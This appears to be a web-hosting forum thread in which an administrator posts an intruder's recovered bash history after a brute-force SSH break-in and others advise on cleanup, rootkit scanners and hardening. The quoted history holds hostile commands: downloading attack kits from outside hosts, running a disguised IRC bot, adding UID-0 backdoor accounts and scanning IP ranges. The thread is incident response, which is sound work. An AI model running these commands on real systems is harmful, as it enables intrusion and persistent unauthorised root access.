Help, my server was hacked :(

[Aspegic]

My server was scanned by some brute force scanning software and was subsequently hacked. Yeah, I know. It was incredibly stupid of me to have chosen a root password that was so easy to guess.

I have removed all the software I could find that the hacker installed on the server. But I have one question left.

This is part of the command history showing what the hacker did (from /root/.bash_history):


cd /tmp
ls
cat /proc/cpuinfo
ls
mkdir .x
cd .x
wget kadilack.org/atac2.tgz
tar -xzvf atac2.tgz
cd .a
ls
cd ..
wget perciuni.3d.net/mech.tar.gz
tar -xzvf mech.tar.gz
cd mech
./inetd
./inetd
ps ax
/usr/sbin/useradd -o -u 0 perciuni
passwd perciun
/usr/sbin/useradd -o -u 0 coaga
passwd coaga
/usr/sbin/useradd -o -u 0 guest
passwd guest
cat /etc/passwd
passwd majordomo
passwd apache
passwd mysql
cd ..
ls
cd .a
ls
wget franckhack.idilis.ro/franck.tgz;tar -xzvf franck.tgz;cd franck;mv pass_file ..;cd ..;rm -rf franck*
ls
wc -l pass_file
./scan 217.159
./scan 217.170
./scan 217.174
exit
cd /tmp/.x
ls
cd mech
./inetd
cat kswap.set
ls
cat kswap.session
ps ax
kill -9 3569
ls
ps ax
ls
rm -rf kswap.session
ls
./inetd
w
cd /tmp/.x/.a
ls
cat vuln.txt
./a 217175
./scan 217.175
w
cd /var/tmp
ls -a
cat /proc/cpuinfo
mkdir .b
rm -rf .b
mkdir .s
cd .s
wget franckhack.idilis.ro/franck.tgz
tar zxvf franck.tgz
cd franck
ls
./scan 216.2
./scan 216.3
./scan 216.4
./scan 64.2
./scan 64.3
ls
cd /tmp/.x
ls
cd .a
ls
cat vuln.txt
./scan 217.174
ls
cat 217.174.pscan.22
ls
./ssh-scan 217.174.pscan.22
./scan 217.174
./scan 217.166
./scan 217.165
./scan 217.164
./scan 217.71
./scan 217.75
psax

I have removed the users perciuni, coaga and guest, but what I'm concerned about are the 3 lines I marked in red. It appears the hacker may have changed the passwords of the users Majordomo, Apache and Mysql, but there's no way for me to be sure.

Can I just change the passwords of these three users again into something else or will that possibly break majordomo or apache or mysql?

Also, in the /etc/passwd file I see these three lines:

majordomo:x:103:2::/etc/virtual/majordomo:/bin/bash
apache:x:100:500::/var/www:/bin/false
mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash

Is this correct? Does this mean that the users majordomo, apache and mysql can be used to login as a normal user? Should they not have /sbin/nologin at the end of the line instead of /bin/bash?

[Icheb]

At one of my servers, they look like this:
majordomo:x:103:2::/etc/virtual/majordomo:/bin/bash
apache:x:100:500::/var/www:/bin/bash
mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash

Now that you noticed them having /bin/bash entries, I too am not too happy about it...

However, they can't login due to /etc/shadow (and allowed users in the sshd config):
TheUsername:!!:12724::::::
is one of the entries in my /etc/shadow (ok, edited the username).

So, check your sshd config + you /etc/shadow to be sure.
And run a rootkit hunter or something, most of the time these scriptkiddies try to leave something behind you can't find in the logs.

[Aspegic]

Thanks Icheb for your info!

Majordomo, apache and mysql are now listed in /etc/shadow like this:

majordomo:$1$xxxxxxxxxxxxxxxxxxxxxxxxxx:12998::::::
admin:$1$xxxxxxxxxxxxxxxxxxxxxxxxxx:12999:0:99999:7:::
mysql:$1$xxxxxxxxxxxxxxxxxxxxxxxxxx:12998::::::

(i have replaced the encrypted parts with "x")

Does this mean these three users now have normal passwords?

How are these three users listed in your shadow file?

[Icheb]

As I said, the passwords are listed as !!'s...
Meaning they can't login (if not mistaken), so you would have to undo that immedately by passwd'ing it to something else :)
And check if they haven't logged in already...

find -user apache /* or something should list all files owned by user apache...
Check if they haven't installed any hackpacks or stuff, they usually do that under the apache username.

edit: yeah, if they have normal 'encrypted' stuff, it's normal passwords... Should be changed ASAP.

edit2:that inetd that was ran, is in fact Linux.RST.B according to Norton here. Furthermore, the file with inetd has IRC stuff in it, so assume it's a virus with IRC command interface.

edit3: I checked out all files downloaded, don't have time to unpack & test em atm, but assume they did not install a secundairy hackpack, they didn't do it 'professionally', I've seen worse. However you should still check out with rkhunter.
The hacker made a number of mistakes while trying to install stuff, by the looks of it.

[Aspegic]

Many thanks for all your input so far Icheb!

As far as I know a ! in front of the encrypted password disables the password, like you explained.

For now I have disabled the three accounts like this:

usermod -L majordomo
usermod -L apache
usermod -L mysql

This places a ! in front of the passwords in /etc/shadow (which should prevent any login attempts using these users, I hope).
I just hope doing this doesn't "break" apache or mysql (I can still re-enable the passwords with usermod -U if need be).

I'll also try your other suggestions. I just wish I knew more about all this stuff :) (I know a few things about linux, but I wouldn't call myself an expert).

[Aspegic]

I ran rkhunter as you suggested (I had never heard of that software before, but many thanks for the tip. It appears to be a very valuable tool for any admin!)

This is the output of the rkhunter scan:


# /usr/local/bin/rkhunter -c --createlogfile --skip-keypress --report-mode

/usr/sbin/prelink: /usr/bin/file: at least one of file's dependencies has changed since prelinking
Line:
[ BAD ]
Line: \033[46C[ BAD ]

Watch out Root login possible. Possible risk!
Line: Watch out Root login possible. Possible risk!
[ Warning (SSH v1 allowed) ]
* MD5 scan
MD5 compared : 49
Incorrect MD5 checksums : 1

* File scan
Scanned files: 342
Possible infected files: 0

* Rootkits
Possible rootkits:

Scanning took 39 seconds

#

The scan shows two "[BAD]" warnings. Do you know if they represent anything I should be worried about?

[nobaloney]

Looking up the errors on google should return some information.

I'd definitely change those passwords in /etc/shadow to two exclamation points, i.e.: !! as that's certainly what they were when the system was built.

Jeff

[Aspegic]

Thanks Jeff. Yes, I already changed the passwords back to "!!".

A couple of hours ago the hacker returned and tried to login 34 times in total. I was online at the time and I could follow his attempts in real time which was kind of funny to watch :)
He first tried the accounts he created (piciuni, coaga and guest) several times. When that didn't work he tried majordomo, apache, mysql, root and admin. Eventually he left which makes me somewhat confident that I have been successful in locking him out permanently (hopefully).

Thanks all for the great support!

[Chrysalis]

Just disable the shell, by setting to something like /sbin/nologin or /dev/null and that will disable the ability to login with those accounts.

[Icheb]

Aspegic: congrats, by the looks of it you've restored 'a safe zone' around your server ;).

For further references, there are more of those rkhunter kind of tools, but I keep forgetting their names.

You should run them once a month or something (or when there's strange activity).

[nobaloney]

We have chkrootkit run nightly on our servers and email us the result.

Jeff

[Voland]

when i try to execute command

dd if=/dev/zero of=tmpmnt bs=1024 count=500000
My Frebsd box says Operation not supported

I'm trying to secure my /tmp and /var/tmp directories

PLS help because i found in my crontabs this command:

/usr/sbin/cron[4464]: (apache) CMD (/var/tmp/irclordz/y2kupdate >/dev/null 2>&1)
and i see that my DA server waz hacked.

I try to run chkrootkit and rootkit hunter

rootkit hunter says everything is OK
but chkrootkit says bindshell INFECTED.

after cleaning and reboot chkrootkit says nothing found

I'm running on FreeBSD 5.4

Thank you

[nobaloney]

Run:

man dd

for the proper syntax for the dd command on your system.

Jeff

[Voland]

syntax is ok byt it dosn't work

im my /dev zero is called as -zero

is it right?

[nobaloney]

There are many different distributions, and many different versions of dd.

That's why there are man files.

If you're running it exactly the way the man file says and it's not working then I'd find a support channel for your OS and ask there.

Jeff

[gabriel]

when your box is hacked, EVERYTHING should be considered compromised. a good hack includes things like replacing your standard commands (ls, ps, top, etc.) so you can never be sure you've "got everything".

if you want to be sure, you have to do a full re-install. back up your data, being careful not to use the compromised box to log into anything else and then blow it all away.

and next time, turn off root ssh access. you don't need it. if you must, set it up to only use key-based logins, that way a hacker would need the private key to login, not just a guessed password.

[kadilack]

hi guys . I maked that brute force scaner , atac2.tgz and i can help you . :) Aspegic i can and i will help you. :P contact me at shellrollc@yahoo.com

[nobaloney]

kadilack,

Please explain why anyone should trust you?

You're a brand new member who joined this forum just to tell us you could help someone with a hack?

Did you produce the hack?

Again, why should any of us trust you?

Thanks.

Jeff

[kadilack]

I'm not interesed of hack , and of your server , i play whith this ****s a long time ago . I don't hack your server . I just want to help you , if you don't need my help ... don't say nothing . If you need contact me @ shellrollc@yahoo.com . I will never come in this forum . C'ya guyz

[bassjuh]

Hi, i am very sorry to see someone hacked.

since a week i have my own server but i already noticed that securing your server probably is the hardest ding.

You may try to install apache's mod_security

and the programs listed below:

Brute Force Detect : http://rfxnetworks.com/bfd.php
Advanced Policy Firewall : http://rfxnetworks.com/apf.php

The programs are very straight forwared to install :) just edit the config file of APF to open the ports of your choice!

I hope this helps! ( note: a password that consists out of 8+ characters, numbers, uppercase and normal characters will also help alot ;) )

[nobaloney]

The better the password the better your security, and absolutely nothing can replace good passwords. Recently a poster recommended switching ssh to another port and even created a How-To, but daily we're the target of attempted port-scans to see which services are running which ports.

We don't install apf/bfd except by request because it can result in a lot of email reports to look at.

But it's really good at noticing and blocking attacks in real time.

In response to kadilack I can only say that I'm suspicious of a new poster who comes out of nowhere to answer a new post by saying "trust me and I can help you fix the problem". And frankly, I think in this case distrust is quite prudent. In my opinion, a professional would have answered me professionally, and I sure wouldn't trust a nonprofessional to get into one of our servers.

kadilack said he wrote a brute force scanner, and when I googled the name he gave, all I found was a hackers site.

So I stand by my challenge.

But that's only my opinion.

Jeff

[bassjuh]

I agree with Jeff on the fact that, changing ports etc.. does not prevent from getting port scanned etc.. but still it does reduce the risk alot.

further more there is a possibility to rename your root user to something else by creating an alias e.g. or even only allow normal users login and not root ( so that once you are logged in as a normal user you can invoke the "su" to become root. )

I said before, and i say again that this does not makes your server impossible to hack, nothing does that, but it just decreases the risk.

And Kadiliack, I think i share Jeff's opinion

Bastiaan.

[Aspegic]

I haven't replied to Kadilack's post. Maybe he means well, but there is just no way for me to know for sure. I can't take the risk. Besides, I think my server is pretty secure now (fingers-crossed).

After the hack and restoring the server afterwards I monitored everything closely for several weeks, running different tools like who, ps, iptraf etc. etc. to see who comes and goes and what's running. Nobody unauthorized ever accessed the server anymore.

The whole incident has had one positive sideeffect for me though. I've learned a LOT about security :)

The root password has been replaced with a very long one - over 11 chars (not saying exactly how many) generated randomly by a little tool I have and then I memorized it.

I'm running a firewall with a customized list of ports that are blocked, as well as a long list of IP ranges that are blocked as well (most are from china and korea). I also run chkrootkit and rkhunter daily. I also check all logfiles on a daily basis.

This all may sound paranoid, but I guess that's what you become if you're hacked ;)

Of course the massive-scans still continue. The server is scanned on average once every other day. These scans usually last between one and two hours and often contain many thousand individual probes. In the beginning I worried a lot about it, but I learned that most servers get hit by these scans so for me they are just a nuicance now.

Again, everyone a big thanks for all your input! This truely is a magnificent forum.

[qsentry]

We have logwatch (www.logwatch.org) installed. It emails you daily on things in your logfiles you should take a look at.

Very handy.

[bassjuh]

Originally posted by qsentry
We have logwatch (www.logwatch.org) installed. It emails you daily on things in your logfiles you should take a look at.

Very handy.

Same here, only it was already standard installed and enabled on CentOS 4.2 :)

[coaga]

How are you?:p
i have hacked your site :P
please . u give me the password of your server?:p
to scan :DDD
if u want email me at coaga_Dementu@yahoo.com
i can help you .. if u need assistance
Bye ... have a nice day :P
nice to meet u :p

[nobaloney]

It's impossible to tell if coago is the real hacker of the server or not.

I'd suggest that anyone who contacts him is doing so at their own risk.

Jeff

[greggster]

Fail2ban, denyhosts, portsentry, change ssh ports
I use shorewall - can rate limit connections, and leave port22 open, and some others, also increase portsentry to port 46000 or so - that way they easily trigger and drop themselves before get near my ssh port. With port 22 open, and no service on it, its a portsentry honeypot.

Also spamhaus lasso list (bogons) - can help a ton.

Also, I explain to customers they'll be locked out for 45 minutes if enter password wrong - they usually are fine...